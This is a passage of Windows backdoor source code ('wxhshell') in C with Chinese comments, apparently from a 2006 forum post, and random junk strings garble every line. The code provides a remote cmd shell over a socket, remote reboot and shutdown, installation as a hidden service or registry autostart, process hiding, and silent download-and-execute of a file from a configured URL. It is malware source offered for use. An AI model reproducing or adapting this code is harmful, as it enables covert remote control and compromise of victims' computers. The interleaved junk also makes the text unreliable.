      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R4 ;^R  
    break; ]BP"$rs  
  } F]N9ZWn /  
  // 安装 >#Y8#-$zc  
  case 'i': { %g^dB M#  
    if(Install()) k+ 5:fB)z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "uDLty?*k  
    else K8XXO"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;}#tm9S;  
    break; 8O qG{jmG  
    } n AQB  
  // 卸载 *JZU 0Xb  
  case 'r': { 1>c`c]s3  
    if(Uninstall()) }at8b ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /~{8/u3  
    else fa8vY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4pJOJ!?  
    break; &q#$SU,$(  
    } sHm|&  
  // 显示 wxhshell 所在路径 *P5Xy@:  
  case 'p': { pR4{}=g,  
    char svExeFile[MAX_PATH]; ?=dyU(  
    strcpy(svExeFile,"\n\r"); &Y\Vh}  
      strcat(svExeFile,ExeFile); k`62&"T  
        send(wsh,svExeFile,strlen(svExeFile),0); ;gc Q9L  
    break; ib/B!?/  
    } 'vgw>\X(  
  // 重启 ?y>xC|kt  
  case 'b': { Se9I1~mX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :aV(i.LW  
    if(Boot(REBOOT)) O _yJR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sEt5!&  
    else { y>'^<xk  
    closesocket(wsh); QKL5! L9`  
    ExitThread(0); J Xo_l  
    } $2A%y14  
    break; HTao)`.  
    } @ eqVu g  
  // 关机 Us+|L|/  
  case 'd': { E}-Y@( [  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q1mz~r  
    if(Boot(SHUTDOWN)) 12gcma}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PPU,o8E+  
    else { kG[u$[B  
    closesocket(wsh); yBXdj`bV  
    ExitThread(0); ^:5 ;H=.  
    } k|F<?:C  
    break; BB-E"<  
    } 7G.IGXK$  
  // 获取shell %a&Yt  
  case 's': { M\ vj&T{k  
    CmdShell(wsh); X3tpW`alo  
    closesocket(wsh); x$QOOE]  
    ExitThread(0); ,'v]U@WK  
    break; @QV|<NeH  
  } :/c=."z.  
  // 退出 PaP47>(  
  case 'x': { \|BtgT*$b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'b]GcAL  
    CloseIt(wsh); '*MNRduE6  
    break;  ]hpocr  
    } 3kx/Q#  
  // 离开 i=OPl  
  case 'q': { /Z';# G,z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wQgW9546  
    closesocket(wsh); <%#M&9d)E  
    WSACleanup(); vQ2kL`@  
    exit(1); AYeA)jk  
    break; 51W\%aB  
        } l3R`3@  
  } 2>l4$G 0  
  } dX-{75o5P  
{1li3K&0s  
  // 提示信息 ><}FyK4C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &?f{.  
} cW4:eh  
  } 0(VAmb%{  
GKu@8Ol-wu  
  return; &Ey5 H?U!  
} ~ J^Gzl  
!FX0Nx=oi  
// shell模块句柄 1q]V/V}  
int CmdShell(SOCKET sock) 5, R\tJCK  
{ fNPHc_?Ybj  
STARTUPINFO si; kngkG|du  
ZeroMemory(&si,sizeof(si)); }26?bd@e`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \`}Rdr!p%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k"Y9Kc0XoU  
PROCESS_INFORMATION ProcessInfo; U']DB h  
char cmdline[]="cmd"; 9G_bM(q'^2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8VQJUwf;  
  return 0; Gu}|CFL\  
} /.9j$iK#  
Y*/:IYr`  
// 自身启动模式 3?iRf6;n  
int StartFromService(void) E;.<'t>  
{ tsVQXvo  
typedef struct /k qW  
{ OJPx V~y  
  DWORD ExitStatus; /) sA{q 4  
  DWORD PebBaseAddress; mnZ/rb  
  DWORD AffinityMask; ~B;kFdcVXn  
  DWORD BasePriority; rCR?]1*Z  
  ULONG UniqueProcessId; (Gr8JpV  
  ULONG InheritedFromUniqueProcessId; O]>9\!0{  
}   PROCESS_BASIC_INFORMATION; 4|YCBXWh  
fw$/@31AP?  
PROCNTQSIP NtQueryInformationProcess; ;wwhW|A  
8!2NZOZOS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9\ZlRYnc=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pz7{dQqjk#  
%K8Ei/p\t]  
  HANDLE             hProcess; DXu#07\  
  PROCESS_BASIC_INFORMATION pbi; {R%v4#nk  
_ +[;NBz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dP63bV  
  if(NULL == hInst ) return 0; NBEcx>pma  
<aR9,:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u>o<u a p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s\y+ xa:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z 6KM%R  
GjN/8>/  
  if (!NtQueryInformationProcess) return 0; @[h)M3DFd  
^ cpQ*Fz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s kC*  
  if(!hProcess) return 0; #Jp_y|  
!2R~/Rg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /\34o{  
J}U);A  
  CloseHandle(hProcess); WP[h@#7<  
4>eY/~odq]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !)gTS5Rh:  
if(hProcess==NULL) return 0; B64L>7\>`  
,<R/jHZP9  
HMODULE hMod; 0NrUB  
char procName[255]; C1&~Y.6m  
unsigned long cbNeeded; @yiAi:v@  
H~IR:WOw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `>KB8SY:qK  
Y '7f"W  
  CloseHandle(hProcess); JAJo^}}{b  
r LQBaT7t#  
if(strstr(procName,"services")) return 1; // 以服务启动 CeQL8yJ;  
*`$Y!uzG:\  
  return 0; // 注册表启动 q-gp;Fm  
} H8.Aq\2S  
jo-jPYH T  
// 主模块 le60b@2G0  
int StartWxhshell(LPSTR lpCmdLine) Z Ear~  
{ [&12`!;j  
  SOCKET wsl; Lt`d {s  
BOOL val=TRUE; f$#--*  
  int port=0; gS{hfDpk,h  
  struct sockaddr_in door; %N+8K  
_RI`I}&9Z  
  if(wscfg.ws_autoins) Install(); zURxXo/\V  
cV^r_E\m  
port=atoi(lpCmdLine); 6[ }~m\cY  
r9nH6 Md\  
if(port<=0) port=wscfg.ws_port; 7^1yZ1(  
n7-|\p!xP6  
  WSADATA data; z H$^.1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ) H=}bqn  
8T"C]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U9^o"vT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z}?*1c  
  door.sin_family = AF_INET; L&h@`NPO a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PNy)TqdRS  
  door.sin_port = htons(port); ,@I_b  
B-'oB>|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (=#[om( A  
closesocket(wsl); [R V_{F:'  
return 1; ,36AR|IO)  
} |,!]]YO.V  
tFlLKziU  
  if(listen(wsl,2) == INVALID_SOCKET) { u /PaXQ  
closesocket(wsl); cHqT1EY  
return 1; >f)/z$ qn  
} DD 8uG`<  
  Wxhshell(wsl); Cg{V"B:  
  WSACleanup(); 9vIqGz-o  
WRa1VU&f  
return 0; 2XoFmV),F  
E|R^tETb  
} 8{DZew /  
;rwjqUDBz  
// 以NT服务方式启动 <X>lA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Iw@ou  
{ n1 k2<BU4b  
DWORD   status = 0; K>%}m,  
  DWORD   specificError = 0xfffffff; +5:Dy,F =  
U|tUX)9O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aqL#g18  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3JhT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f@JMDJ  
  serviceStatus.dwWin32ExitCode     = 0; ( X(61[Lu  
  serviceStatus.dwServiceSpecificExitCode = 0; 5:S=gARz  
  serviceStatus.dwCheckPoint       = 0; q{4W@Um-  
  serviceStatus.dwWaitHint       = 0; BY*{j&^  
$y%X#:eLJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }5_[t9LX  
  if (hServiceStatusHandle==0) return; :mP%qG9U  
}~B@Z\`O  
status = GetLastError(); h?t#ABsVK  
  if (status!=NO_ERROR) ~nQ=iB  
{ K<k!sh   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dyH<D5  
    serviceStatus.dwCheckPoint       = 0; ~H<oqk:O-  
    serviceStatus.dwWaitHint       = 0; F+ ,eJ/]  
    serviceStatus.dwWin32ExitCode     = status; ~yX8p7qr  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1P8XVI'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^a>3U l{  
    return; VkFvV><"  
  } kSL7WQe?j  
>z{*>i,m1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oe (})M  
  serviceStatus.dwCheckPoint       = 0; 4KbOyTQ  
  serviceStatus.dwWaitHint       = 0; 6_UCRo5h%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @*Y"[\"$  
} -4 *94<  
fEv`iXZG  
// 处理NT服务事件,比如:启动、停止 31VDlcn E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tW^oa  
{ gu1:%raXd  
switch(fdwControl) ShP&ss  
{ X283.?  
case SERVICE_CONTROL_STOP: &^q!,7.J  
  serviceStatus.dwWin32ExitCode = 0; 6[.#B!;9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  f$7Xh~  
  serviceStatus.dwCheckPoint   = 0; #|92 +  
  serviceStatus.dwWaitHint     = 0; k4n 4 BL  
  { 2SjH7 '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p :v'"A}  
  } %|"0p3  
  return; E O.Se9ux  
case SERVICE_CONTROL_PAUSE: f`;y "ba  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i}tBB~]  
  break; TTYM!+T  
case SERVICE_CONTROL_CONTINUE: tfKf*Um  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H[WsHq;T+9  
  break; -RLY.@'d-M  
case SERVICE_CONTROL_INTERROGATE: ol[sX=5 *  
  break; UO1WtQyu,H  
}; FR BW(vKE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `j#zwgUs  
} :D|5E>o(  
W?>C$_p C  
// 标准应用程序主函数 [TW?sW^0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GgU8f0I  
{ s'7PHP)LOJ  
xM+_rU M|h  
// 获取操作系统版本 {/)q=  
OsIsNt=GetOsVer(); ,H)v+lI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k^H&IS!  
ZXJ]==  
  // 从命令行安装 |>Ld'\i8  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mzg zOM  
KD<smwXjG  
  // 下载执行文件 4ZUTF3  
if(wscfg.ws_downexe) { 2\4ammwT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 04j]W]8#  
  WinExec(wscfg.ws_filenam,SW_HIDE);  =8o$  
} ]\JLlQ}#H  
Sux/='  
if(!OsIsNt) { gR\z#Sg  
// 如果时win9x,隐藏进程并且设置为注册表启动 aAbK{=/y_!  
HideProc(); _\2Ae\&c  
StartWxhshell(lpCmdLine); }OsAO  
} O|} p=ny  
else ShIJ6LZ  
  if(StartFromService()) ?5IF;vk  
  // 以服务方式启动 !=3Ce3-  
  StartServiceCtrlDispatcher(DispatchTable); w *pTK +  
else sBq-"YcjR  
  // 普通方式启动 '5)PYjMnH  
  StartWxhshell(lpCmdLine); m{w'&\T  
BNw};.lO  
return 0; f 0|wN\  
}
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只看该作者 1 发表于: 2006-10-10
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